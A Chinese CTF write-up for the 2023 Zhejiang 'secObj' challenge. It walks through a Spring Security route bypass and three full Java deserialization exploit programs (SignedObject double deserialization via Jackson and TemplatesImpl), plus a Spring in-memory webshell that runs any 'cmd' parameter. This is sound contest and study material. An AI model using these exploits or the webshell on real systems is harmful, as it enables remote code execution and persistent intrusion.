题目信息
本题涉及知识点:Java代码审计、Spring Security权限验证绕过、HotSwappableTargetSource绕过黑名单、SignedObject二次反序列化
- 题目类型:CTF
- 题目名称:2023浙江大学生省赛初赛 secObj
- 题目镜像:ccr.ccs.tencentyun.com/lxxxin/public:zjctf2023_secobj
- 内部端口:80
- 题目附件:6ZO+5o6lOiBodHRwczovL3Bhbi5iYWlkdS5jb20vcy8xTlBBUlhLLWNrWGNTQU9QVHlybGxLUT9wd2Q9ZmxhZyDmj5Dlj5bnoIE6IGZsYWc=(自行Base64解码)
启动脚本
请确保本地安装了docker命令,并且确保12345端口未被占用,然后以root权限运行下方命令,运行成功后会返回一串16进制字符串(此为容器ID),表示容器运行成功,接着打开Chrome或者Firefox浏览器,用浏览器访问12345端口
1
|
docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} ccr.ccs.tencentyun.com/lxxxin/public:zjctf2023_secobj
|
WriteUp
Spring Security权限绕过分析
题目给了附件,反编译打开,整体的目录结构如下:
- 用了Spring Security做权限验证
- 存在AdminController和IndexController
- 自定义了一个ObjectInputStream

先看pom依赖,pom依赖挺正常的,没有非常特殊的依赖:

再看AdminController,很明显存在一个反序列化入口

反序列化入口在/admin路由下,由于这里用了Spring Security做权限验证,所以需要尝试绕过权限验证
观察SecurityConfig类:
- 第一个configure做了访问控制
- 第二个configure设置了admin的密码,不过admin的密码是uuid随机生成的

这里的访问控制链如下:
1
|
((HttpSecurity)((FormLoginConfigurer)((HttpSecurity)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)http.authorizeRequests().antMatchers(new String[]{"/admin/*"})).hasRole("ADMIN").anyRequest()).permitAll().and()).formLogin().defaultSuccessUrl("/admin/user/hello")).and()).logout().logoutSuccessUrl("/login");
|
由于反编译存在类型转换,原本链式的访问控制被编译的很难看,这里稍作美化处理:
- 本意是想让拥有ADMIN角色的人能访问/admin/*下的资源
- 默认登录成功的路由为/admin/user/hello
- 登出后跳转到/login
1
2
3
4
5
6
|
http.authorizeRequests()
.antMatchers(new String[]{"/admin/*"}).hasRole("ADMIN").anyRequest().permitAll()
.and()
.formLogin().defaultSuccessUrl("/admin/user/hello"))
.and()
.logout().logoutSuccessUrl("/login");
|
这里其实就存在绕过:
- /admin/*实际上只匹配一层资源,例如:能匹配到/admin/a,能匹配到/admin/a.js,但不能匹配到/admin/a/b
- 如果想要匹配/admin/a/b,就需要写成/admin/**的形式
- 这里反序列化入口位于/admin/user/readObj,但用了/admin/*来匹配,显然是匹配不到的
- 这里的绕过和Spring Security无关,这种匹配模式就是这么设计的,如果在生产环境中遇到,就是开发者的问题
所以,在不添加任何参数、不携带任何SESSION的情况下,是可以直接访问到/admin/user/hello的

那么问题来了,为什么在直接POST去访问/admin/user/readObj却不行了呢?

需要注意的是,这里返回的是403 Forbidden,并不是401 Unauthorized,所以权限判断实际上是已经过了,返回403的原因实际上是Spring Security默认会开启csrf验证,防止csrf攻击,实际上在开发的时候,很多培训视频会上来就把Spring Security的csrf验证关掉(如下方代码所示):
本题在configure中并没有关闭csrf,所以我们直接POST时会返回403
绕过的方式实际上也很简单,就是访问一下/login,拿到配套的csrf和SESSION发送给/admin/user/readObj(注意必须配套):


然后配套发送即可,这个时候就会返回400了(因为还缺个data参数)

SignedObject二次反序列化用HSTS套娃触发
HSTS即:HotSwappableTargetSource
接下来的任务就是找反序列化链了
先看MyObjectInputStream类,过滤了下方这些黑名单包类名
1
2
3
4
5
6
7
|
AbstractTranslet
Templates
TemplatesImpl
javax.management
swing
awt
fastjson
|

由于本题没有CommonsCollections依赖,JDK自带的TemplatesImpl也被过滤了,直接一次完成反序列化实际上是非常困难的,所以可以尝试二次反序列化绕过黑名单
这里没有过滤SignedObject,所以可以通过SignedObject的方式做二次反序列化。SignedObject二次反序列化位于SignedObject#getObject方法,所以需要触发getter方法

触发getter的方式可以参考阿里云CTF Bypassit1题目:
简单来说就是POJONode#toString可以调用任意getter方法。
截至目前,我们有以下调用链(其中[datou1]和[datou2]是还没链上的部位):
1
|
[datou1] -> POJONode#toString -> SignedObject#getObject -> [datou2] -> TemplatesImpl#getOutputProperties
|
其中[datou1]是受黑名单限制的,而[datou2]是不受黑名单限制的
这里直接给出0rays使用的链子,其中[datou1]位置的链如下:
- 该链详细分析参考链接:https://boogipop.com/2023/04/26/%E6%98%93%E6%87%82%E7%9A%84Rome%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%88%E6%9B%B4%E6%96%B0%EF%BC%89/#HotSwappableTargetSource%E5%88%A9%E7%94%A8%E9%93%BE
1
|
HashMap#readObject -> HashMap#putVal -> HotSwappableTargetSource#equals -> XString#equals
|
由于POJONode#toString可以调用任意getter方法,[datou1]段的最终是为了调用SignedObject的getter,我们的目标是调用TemplatesImpl的getter,所以可以在[datou2]段再重复一段[datou1],然后把sink点改成TemplatesImpl即可,因为在二次反序列化过程中,是不受题目的黑名单限制的
最终,Gadget如下:
- 其中第1行为[datou1]、第3行为[datou2]
1
2
3
4
|
HashMap#readObject -> HashMap#putVal -> HotSwappableTargetSource#equals -> XString#equals
-> POJONode#toString -> SignedObject#getObject
-> HashMap#readObject -> HashMap#putVal -> HotSwappableTargetSource#equals -> XString#equals
-> TemplatesImpl#getOutputProperties
|
EXP如下:
- 注意,在二次反序列化打TemplatesImpl#getOutputProperties过程中,有可能会因为先获取到stylesheetDOM属性,调用getStylesheetDOM导致空指针异常退出进程,所以需要利用JdkDynamicAopProxy解决一下jackson链的不稳定性问题(参考:https://xz.aliyun.com/t/12846)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
|
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class DoubleReadObjectPoC {
public static void main(String[] args) throws Exception {
// 删除 BaseJsonNode#writeReplace 方法
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
// 比赛时不出网,打Spring内存马
byte[] bytes = Repository.lookupClass(SpringMemShell.class).getBytes();
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "aaaa");
setFieldValue(templatesImpl, "_tfactory", null);
// 内层 HashMap#readObject -> TemplatesImpl#getTransletInstance
POJONode inJsonNodes = new POJONode(makeTemplatesImplAopProxy(templatesImpl));
HotSwappableTargetSource inHotSwappableTargetSource1 = new HotSwappableTargetSource(inJsonNodes);
HotSwappableTargetSource inHotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("1"));
HashMap inHashMap = makeMap(inHotSwappableTargetSource1, inHotSwappableTargetSource2);
// SignedObject#getObject -> 内层 HashMap#readObject
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(inHashMap, privateKey, signingEngine);
// 外层 HashMap#readObject -> SignedObject#getObject
POJONode jsonNodes = new POJONode(signedObject);
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(jsonNodes);
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("1"));
HashMap hashMap = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);
// 序列化外层 HashMap#readObject
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
String res = Base64.getEncoder().encodeToString(barr.toByteArray());
System.out.println(res);
}
// 解决 jackson 链不稳定性问题(当然,如果运气好,不用它也行)
public static Object makeTemplatesImplAopProxy(Templates templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
}
|
由于比赛的时候是断网,无法直接反弹shell,所以在比赛时需要注入Spring内存马:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;
public class SpringMemShell extends AbstractTranslet{
static {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();
SpringMemShell springControllerMemShell = new SpringMemShell();
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception hi) {
// hi.printStackTrace();
}
}
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
|


堆栈信息如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
...... 至此,实例化任意类完成RCE ......
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
...... 省略 内层BaseJsonNode#toString -> getter 部分(中间实际上还有一部分JdkDynamicAopProxy用于解决JDK链不稳定性问题) ......
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
readObject:1410, HashMap (java.util)
...... 省略到达 内层HashMap#readObject 部分 ......
readObject:431, ObjectInputStream (java.io)
getObject:179, SignedObject (java.security)
...... 省略 外层BaseJsonNode#toString -> getter 部分 ......
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
readObject:1410, HashMap (java.util)
...... 省略到达 外层HashMap#readObject 部分 ......
|
SignedObject二次反序列化用BAVE触发
BAVE即:BadAttributeValueExpException
刚刚我们分析出待补充的链子如下:
1
|
[datou1] -> POJONode#toString -> SignedObject#getObject -> [datou2] -> TemplatesImpl#getOutputProperties
|
而在上一个方法,[datou1]和[datou2]位置都用下方填充
1
|
HashMap#readObject -> HashMap#putVal -> HotSwappableTargetSource#equals -> XString#equals
|
实际上,这里我们也可以不使用HashMap去触发,可以用BadAttributeValueExpException#readObject触发BaseJsonNode#toString
- 其中第1行为[datou1]、第3行为[datou2]
1
2
3
4
|
HashMap#readObject -> HashMap#putVal -> HotSwappableTargetSource#equals -> XString#equals
-> POJONode#toString -> SignedObject#getObject
-> BadAttributeValueExpException#readObject -> BaseJsonNode#toString
-> TemplatesImpl#getOutputProperties
|
完整的调用链如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
......
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
......
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
readObject:86, BadAttributeValueExpException (javax.management)
......
readObject:431, ObjectInputStream (java.io)
getObject:179, SignedObject (java.security)
......
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:103, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
readObject:1410, HashMap (java.util)
......
main:71, SignedObjectBAVEPoC
|
EXP如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
|
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class SignedObjectBAVEPoC {
public static void main(String[] args) throws Exception {
// 删除 BaseJsonNode#writeReplace 方法
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
// 比赛时不出网,打Spring内存马
byte[] bytes = Repository.lookupClass(SpringMemShell.class).getBytes();
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "aaaa");
setFieldValue(templatesImpl, "_tfactory", null);
// 内层 BadAttributeValueExpException#readObject -> BaseJsonNode#toString
POJONode po1= new POJONode(makeTemplatesImplAopProxy(templatesImpl));
BadAttributeValueExpException ba1= new BadAttributeValueExpException(1);
setFieldValue(ba1,"val",po1);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject( ba1, privateKey, signingEngine);
POJONode jsonNodes = new POJONode(1);
setFieldValue(jsonNodes,"_value",signedObject);
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(jsonNodes);
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("1"));
HashMap hashMap = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
String res = Base64.getEncoder().encodeToString(barr.toByteArray());
System.out.println(res);
}
// 解决 jackson 链不稳定性问题(当然,如果运气好,不用它也行)
public static Object makeTemplatesImplAopProxy(Templates templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
}
|
利用SignedObject获取到object自动调用getter
还是回顾抽象出来的那条待补充的链子:
1
|
[datou1] -> POJONode#toString -> SignedObject#getObject -> [datou2] -> TemplatesImpl#getOutputProperties
|
仔细思考上面两种方式:
- HSTS(起点实际上为HashMap)的最终目的是调用getter
- BAVE的最终目的也是调用getter
其中调用getter的堆栈如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
getOutputProperties:-1, $Proxy0 (com.sun.proxy)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
readObject:1410, HashMap (java.util)
|
那么有没有一种可能:不利用HashMap、BadAttributeValueExpException就可以调用getter呢?
完全可以,jackson调用getter的触发点实际上就是下方红色方框的位置,代码位于BeanPropertyWriter#serializeAsField

SignedObject二次反序列化实际上也是在上方红色方框内触发的,那么假如我们不用SignedObject#getObject去触发二次反序列化,而是利用getObject返回一个object对象,实际上在jackson获取到这个object之后,依然是会对其做循环处理,继续调用getter,如果jdk版本合适的话,直接给object对象赋TemplatesImpl即可,如果想稳定点,给object对象赋个Proxy

最终的EXP如下(参考0rays的WriteUp):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
|
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class SecObjPoC {
public static void main(String[] args) throws Exception {
// 删除 BaseJsonNode#writeReplace 方法
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
// 比赛时不出网,打Spring内存马
byte[] bytes = Repository.lookupClass(SpringMemShell.class).getBytes();
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "aaaa");
setFieldValue(templatesImpl, "_tfactory", null);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject((Serializable) makeTemplatesImplAopProxy(templatesImpl), privateKey, signingEngine);
POJONode jsonNodes = new POJONode(signedObject);
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(jsonNodes);
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("1"));
HashMap hashMap = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
String res = Base64.getEncoder().encodeToString(barr.toByteArray());
System.out.println(res);
}
// 解决 jackson 链不稳定性问题(当然,如果运气好,不用它也行)
public static Object makeTemplatesImplAopProxy(Templates templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
}
|